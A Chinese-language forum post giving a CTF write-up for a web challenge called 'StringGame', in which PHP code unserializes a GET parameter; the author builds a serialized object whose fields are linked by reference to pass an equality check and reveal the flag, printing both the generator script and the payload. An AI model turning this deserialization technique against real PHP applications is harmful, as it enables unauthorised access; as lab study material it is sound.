查看: 47|回复: 0

[Web] S、tringGame

[复制链接]

8

主题

15

帖子

2

精华

VIP

Rank: 16

学币
289
荣耀
0
rank
405
违规
0
发表于 5 天前 | 显示全部楼层 |阅读模式

相关题目:

♦ StringGame

本帖最后由 柒月 于 2021-6-10 22:44 编辑

进入题目后发现页面一片空白,所以想到f12看源码,看是否能有所发现。。。
f12后发现一段php代码
<?php>
include("flag.php");
class just4fun {
    var $enter;
    var $secret;
}

if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];

    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }

    $o = unserialize($pass);

    if ($o) {
        $o->secret = "*";
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$flag;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}
?>
经过粗略的学习php语言,勉强能看懂代码意思,以下是个人对代码的理解:
          这段代码的意思定义了一个类函数just4fun,如果以get方式传参,则将变量pass传参获取的值赋值给变量pass,如果能获取当前magic_quotes_gpc的配置选项设置,则删除变量pass中的反斜杠,将变量pass的数据反序列化后赋值给变量o,如果变量o类型里secretenter的数据和类型都相等就输出变量flag的值。

根据代码写出payload
<?php
class just4fun {
    var $enter;
    var $secret;
}
$o = new just4fun;
$o->enter = &$o->secret;
echo serialize($o);
?>


得出反序列化数值:O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}
get形式传参得出flag。。。



温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
学逆向论坛-免费的逆向学习论坛
关闭

论坛公告上一条 /1 下一条

快速回复 返回顶部 返回列表